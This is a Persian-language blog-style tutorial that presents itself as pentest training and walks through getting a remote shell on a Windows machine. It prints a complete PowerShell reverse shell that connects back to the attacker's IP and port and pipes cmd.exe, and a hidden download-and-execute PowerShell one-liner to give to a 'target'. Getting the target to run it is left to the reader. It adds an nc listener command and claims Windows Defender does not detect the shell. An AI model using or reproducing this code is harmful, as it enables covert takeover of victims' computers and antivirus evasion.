سلام دوستان امیدوارم حالتون خوب باشه و سر کیف باشین.
امروز یه آموزش براتون دارم (البته نه برای همه).
برای پنتست های جوان و هکر های کلاه سفید ؛ یا شمایی که میخواین هکر با سواد و کار بلدی باشین.
خب دوستان امروز ما به یه لابراتوار که توش یه لینوکس باشه و یه ویندوز باشه نیاز داریم.
اول از همه باید یه وب سرور داشته باشیم که بتونیم توش یه کد پاور شل رو به txt قرار بدیم.
من از nginx استفاده میکنم.
پس میزنم :
systemctl start nginx
من دبیان نسخه 10 استفاده میکنم.
خب حالا تو پوشه :
/var/www/html/
ادیتور nano این کد رو اضافه میکنم:
nano remote.txt // تو محیط نانو این کد رو میزنیم sfunction cleanup { if ($client.Connected -eq $true) {$client.Close()} if ($process.ExitCode -ne $null) {$process.Close()} exit} // Setup IPADDR $address = 'ایپی خودتونو بنویسین' // Setup PORT $port = 'پورت خودتونو بنویسین' $client = New-Object system.net.sockets.tcpclient $client.connect($address,$port) $stream = $client.GetStream() $networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize $process = New-Object System.Diagnostics.Process $process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' $process.StartInfo.RedirectStandardInput = 1 $process.StartInfo.RedirectStandardOutput = 1 $process.StartInfo.UseShellExecute = 0 $process.Start() $inputstream = $process.StandardInput $outputstream = $process.StandardOutput Start-Sleep 1 $encoding = new-object System.Text.AsciiEncoding while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())} $stream.Write($encoding.GetBytes($out),0,$out.Length) $out = $null; $done = $false; $testing = 0; while (-not $done) { if ($client.Connected -ne $true) {cleanup} $pos = 0; $i = 1 while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos) $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0) { $string = $encoding.GetString($networkbuffer,0,$pos) $inputstream.write($string) start-sleep 1 if ($process.ExitCode -ne $null) {cleanup} else { $out = $encoding.GetString($outputstream.Read()) while($outputstream.Peek() -ne -1){ $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}} $stream.Write($encoding.GetBytes($out),0,$out.length) $out = $null $string = $null}} else {cleanup}}
و اما در ادامه .....
این تیکه کد رو به تارگت خودمون میدیم و میگیم تا اجراش کنه (اون دیگه به عهده خودتون).
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).downloadString('http://your ip/remote.txt')"
و قبل از اینکه اینو به کاربر بدین باید روی لینوکس خودتون پورت مورد نظر رو listen کنین:
nc -nvlp <port>
و وقتی کاربر اجرا کنه شما دسترسی کامل دارین به دایرکتوری هاش.
اینم بگم windows defender هم نمیتونه اینو شناسایی کنه.
شاد و پیروز باشید دوستان.